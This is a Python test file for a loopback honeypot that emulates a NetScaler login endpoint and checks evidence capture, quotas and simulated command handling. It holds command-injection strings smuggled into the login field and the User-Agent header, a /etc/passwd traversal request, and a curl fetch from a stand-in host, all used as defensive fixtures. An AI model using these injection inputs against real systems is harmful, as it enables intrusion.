184 lines
10 KiB
Python
184 lines
10 KiB
Python
|
"""Run: python3 test_honeypot.py (loopback only, no third-party dependencies)."""
|
||
|
|
import http.client
|
||
|
|
import hashlib
|
||
|
|
import json
|
||
|
|
import pathlib
|
||
|
|
import socket
|
||
|
|
import stat
|
||
|
|
import tempfile
|
||
|
|
import threading
|
||
|
|
import urllib.parse
|
||
|
|
|
||
|
|
from honeypot import Engine, Server, MAX_BODY, MAX_PENDING, extract, simulate
|
||
|
|
from evidence import Evidence
|
||
|
|
|
||
|
|
|
||
|
|
def main():
|
||
|
|
events = []
|
||
|
|
workspace = tempfile.TemporaryDirectory()
|
||
|
|
evidence = Evidence(workspace.name)
|
||
|
|
def emit(event, **data):
|
||
|
|
events.append(dict(event=event, **data))
|
||
|
|
evidence.emit(event, **data)
|
||
|
|
engine = Engine(emit, delay=0, save=evidence.save)
|
||
|
|
server = Server(('127.0.0.1', 0), engine)
|
||
|
|
thread = threading.Thread(target=server.serve_forever, daemon=True)
|
||
|
|
thread.start()
|
||
|
|
def request(method, path, body=None, headers=None):
|
||
|
|
connection = http.client.HTTPConnection('127.0.0.1', server.server_port, timeout=3)
|
||
|
|
connection.request(method, path, body=body, headers=headers or {})
|
||
|
|
response = connection.getresponse()
|
||
|
|
result = response.status, response.read()
|
||
|
|
connection.close()
|
||
|
|
return result
|
||
|
|
try:
|
||
|
|
assert request('GET', '/')[0] == 200
|
||
|
|
# Benign local marker through documented login field; no real commands execute.
|
||
|
|
value = 'pitboss PPE unexpectedly died NSPPE;`id>/netscaler/ns_gui/probe.txt`;# X'
|
||
|
|
body = urllib.parse.urlencode({'login': value, 'passwd': 'synthetic'})
|
||
|
|
assert request('POST', '/nf/auth/doAuthentication.do', body,
|
||
|
|
{'Content-Type': 'application/x-www-form-urlencoded'})[0] == 200
|
||
|
|
assert request('GET', '/probe.txt')[0] == 404 # deferred until log pickup
|
||
|
|
engine.tick()
|
||
|
|
status, content = request('GET', '/probe.txt')
|
||
|
|
assert status == 200 and b'uid=0(root)' in content
|
||
|
|
assert any(e['event'] == 'virtual_file_write' for e in events)
|
||
|
|
# Public write-up names User-Agent as a log source; use its shape with a local harmless marker.
|
||
|
|
ua = 'pitboss PPE unexpectedly died NSPPE;:`id>/netscaler/ns_gui/ua-probe.txt`;# X'
|
||
|
|
assert request('GET', '/', headers={'User-Agent': ua})[0] == 200
|
||
|
|
candidate = next(e for e in reversed(events) if e['event'] == 'injection_candidate')
|
||
|
|
assert candidate['source'] == 'header:User-Agent' and candidate['value'] == ua
|
||
|
|
assert candidate['peer'] == '127.0.0.1' and candidate['peer_port'] > 0
|
||
|
|
assert request('GET', '/ua-probe.txt')[0] == 404
|
||
|
|
engine.tick()
|
||
|
|
status, content = request('GET', '/ua-probe.txt')
|
||
|
|
assert status == 200 and b'uid=0(root)' in content
|
||
|
|
write = next(e for e in events if e['event'] == 'virtual_file_write' and e['path'].endswith('/ua-probe.txt'))
|
||
|
|
assert write['request_id'] == candidate['request_id'] and write['session'] == candidate['session']
|
||
|
|
assert write['peer'] == candidate['peer'] and write['peer_port'] == candidate['peer_port']
|
||
|
|
assert request('GET', '/../../etc/passwd')[0] == 404
|
||
|
|
assert request('POST', '/', headers={'Content-Length': str(MAX_BODY + 1)})[0] == 413
|
||
|
|
assert request('POST', '/', b'0\r\n\r\n', {'Transfer-Encoding': 'chunked', 'Content-Length': '5'})[0] == 400
|
||
|
|
assert extract('ordinary login') is None
|
||
|
|
assert extract('pitboss: NSPPE-00 (12345) unexpectedly died') is None
|
||
|
|
state = engine.session('127.0.0.1')
|
||
|
|
with tempfile.TemporaryDirectory() as directory:
|
||
|
|
marker = pathlib.Path(directory) / 'must-not-exist'
|
||
|
|
simulate(state, f'echo harmless > {marker}', engine.emit)
|
||
|
|
assert not marker.exists() and state.files[str(marker)] == 'harmless\n'
|
||
|
|
simulate(state, 'curl https://example.invalid/payload', engine.emit)
|
||
|
|
assert events[-2]['event'] == 'outbound_attempt'
|
||
|
|
other = engine.session('192.0.2.1')
|
||
|
|
assert '/netscaler/ns_gui/probe.txt' not in other.files
|
||
|
|
engine.ingest(state, [('header:User-Agent', value)] * (MAX_PENDING + 5))
|
||
|
|
assert len(state.pending) == MAX_PENDING
|
||
|
|
assert any(e['event'] == 'limit' for e in events)
|
||
|
|
payload = b'\x00\xffMZ-inert-test-fixture\r\n\x00'
|
||
|
|
assert request('PUT', '/sample.bin', payload, {'Content-Type': 'application/octet-stream'})[0] == 404
|
||
|
|
digest = hashlib.sha256(payload).hexdigest()
|
||
|
|
artifact = pathlib.Path(workspace.name) / 'artifacts' / (digest + '.bin')
|
||
|
|
assert artifact.read_bytes() == payload
|
||
|
|
assert stat.S_IMODE(artifact.stat().st_mode) == 0o600
|
||
|
|
multipart = (b'--testboundary\r\nContent-Disposition: form-data; name="file"; filename="../../escape.bin"\r\n'
|
||
|
|
b'Content-Type: application/octet-stream\r\n\r\n' + payload + b'\r\n--testboundary--\r\n')
|
||
|
|
assert request('POST', '/upload', multipart, {'Content-Type': 'multipart/form-data; boundary=testboundary'})[0] == 404
|
||
|
|
upload = next(e for e in events if e['event'] == 'upload')
|
||
|
|
assert upload['filename'] == '../../escape.bin' and upload['evidence']['sha256'] == digest
|
||
|
|
assert upload['peer'] == '127.0.0.1' and upload['peer_port'] > 0
|
||
|
|
assert not (pathlib.Path(workspace.name) / 'escape.bin').exists()
|
||
|
|
def raw_request(raw):
|
||
|
|
with socket.create_connection(('127.0.0.1', server.server_port), timeout=3) as connection:
|
||
|
|
connection.sendall(raw)
|
||
|
|
connection.shutdown(socket.SHUT_WR)
|
||
|
|
result = bytearray()
|
||
|
|
while chunk := connection.recv(65536):
|
||
|
|
result.extend(chunk)
|
||
|
|
return bytes(result)
|
||
|
|
raw = (b'POST /upload HTTP/1.1\r\nHost: localhost\r\nConnection: close\r\n'
|
||
|
|
b'Transfer-Encoding: chunked\r\n\r\n'
|
||
|
|
+ hex(len(payload))[2:].encode() + b'\r\n' + payload + b'\r\n0\r\nX-Test: trailer\r\n\r\n')
|
||
|
|
assert b'404' in raw_request(raw).split(b'\r\n')[0]
|
||
|
|
wire_digest = hashlib.sha256(raw).hexdigest()
|
||
|
|
# Wait for finally-recorded evidence after the response has closed.
|
||
|
|
assert (pathlib.Path(workspace.name) / 'artifacts' / (wire_digest + '.bin')).read_bytes() == raw
|
||
|
|
assert b'200' in raw_request(b'CUSTOM / HTTP/1.1\r\nHost: localhost\r\nConnection: close\r\n\r\n').split(b'\r\n')[0]
|
||
|
|
assert b'400' in raw_request(b'not-http\r\n')
|
||
|
|
partial = b'PUT / HTTP/1.1\r\nHost: localhost\r\nContent-Length: 10\r\n\r\nabc'
|
||
|
|
assert b'400' in raw_request(partial)
|
||
|
|
partial_hash = hashlib.sha256(partial).hexdigest()
|
||
|
|
assert (pathlib.Path(workspace.name) / 'artifacts' / (partial_hash + '.bin')).exists()
|
||
|
|
writes = [e for e in events if e['event'] == 'virtual_file_write' and 'request_id' in e]
|
||
|
|
assert writes and writes[0]['peer'] == '127.0.0.1'
|
||
|
|
assert any(e['event'] == 'request' and e['request_id'] == writes[0]['request_id'] for e in events)
|
||
|
|
rows = [json.loads(line) for line in (pathlib.Path(workspace.name) / 'events.jsonl').read_text().splitlines()]
|
||
|
|
assert all('timestamp' in row and 'time_ns' in row for row in rows)
|
||
|
|
tiny = Evidence(pathlib.Path(workspace.name) / 'quota-test', quota=3)
|
||
|
|
try:
|
||
|
|
tiny.save(b'abc')
|
||
|
|
try:
|
||
|
|
tiny.save(b'over quota')
|
||
|
|
raise AssertionError('quota not enforced')
|
||
|
|
except OSError:
|
||
|
|
pass
|
||
|
|
assert tiny.save(b'abc')['bytes'] == 3 # dedup still works at quota
|
||
|
|
finally:
|
||
|
|
tiny.close()
|
||
|
|
failing_store = Evidence(pathlib.Path(workspace.name) / 'stop-test', quota=1)
|
||
|
|
failing_server = Server(('127.0.0.1', 0), Engine(failing_store.emit, save=failing_store.save))
|
||
|
|
failing_thread = threading.Thread(target=failing_server.serve_forever, daemon=True)
|
||
|
|
failing_thread.start()
|
||
|
|
try:
|
||
|
|
with socket.create_connection(('127.0.0.1', failing_server.server_port), timeout=3) as connection:
|
||
|
|
connection.sendall(b'GET / HTTP/1.0\r\n\r\n')
|
||
|
|
try:
|
||
|
|
connection.recv(1024)
|
||
|
|
except ConnectionResetError:
|
||
|
|
pass
|
||
|
|
failing_thread.join(timeout=3)
|
||
|
|
assert failing_server.capture_failed and not failing_thread.is_alive()
|
||
|
|
finally:
|
||
|
|
failing_server.shutdown()
|
||
|
|
failing_server.server_close()
|
||
|
|
failing_store.close()
|
||
|
|
# Hidden guest files still allow intake/execution and evidence capture, without a guest read.
|
||
|
|
server.serve_guest_files = False
|
||
|
|
assert request('GET', '/probe.txt') == (404, b'Not Found') # existing simulated file
|
||
|
|
class FakeBackend:
|
||
|
|
def __init__(self):
|
||
|
|
self.reads, self.uploads, self.executions = [], [], []
|
||
|
|
def register_peer(self, peer):
|
||
|
|
assert peer == '127.0.0.1'
|
||
|
|
def read(self, path, context):
|
||
|
|
self.reads.append(path)
|
||
|
|
return b'existing-guest-file'
|
||
|
|
def upload(self, data, context):
|
||
|
|
self.uploads.append((data, context.copy()))
|
||
|
|
def execute(self, command, context):
|
||
|
|
self.executions.append((command, context.copy()))
|
||
|
|
fake = FakeBackend()
|
||
|
|
engine.backend = fake
|
||
|
|
engine.tick() # drain the earlier queue-limit fixture
|
||
|
|
assert request('GET', '/probe.txt') == (404, b'Not Found')
|
||
|
|
assert request('GET', '/')[0] == 200 and request('GET', '/favicon.ico')[0] == 200
|
||
|
|
hidden_ua = 'pitboss PPE unexpectedly died NSPPE;:`id>/netscaler/ns_gui/hidden.txt`;# X'
|
||
|
|
assert request('GET', '/hidden.txt', headers={'User-Agent': hidden_ua}) == (404, b'Not Found')
|
||
|
|
candidate = next(e for e in reversed(events) if e['event'] == 'injection_candidate')
|
||
|
|
assert candidate['source'] == 'header:User-Agent'
|
||
|
|
engine.tick()
|
||
|
|
execution = next(item for item in fake.executions if item[0] == 'id>/netscaler/ns_gui/hidden.txt')
|
||
|
|
assert execution[1]['request_id'] == candidate['request_id']
|
||
|
|
assert request('PUT', '/hidden.bin', payload, {'Content-Type': 'application/octet-stream'}) == (404, b'Not Found')
|
||
|
|
assert fake.uploads[-1][0] == payload and artifact.read_bytes() == payload
|
||
|
|
assert not fake.reads
|
||
|
|
engine.backend = None
|
||
|
|
print('PASS: simulated flow, binary/multipart/chunked evidence, source correlation, quotas, hidden guest files with intake preserved')
|
||
|
|
finally:
|
||
|
|
server.shutdown()
|
||
|
|
server.server_close()
|
||
|
|
thread.join(timeout=3)
|
||
|
|
evidence.close()
|
||
|
|
workspace.cleanup()
|
||
|
|
|
||
|
|
|
||
|
|
if __name__ == '__main__':
|
||
|
|
main()
|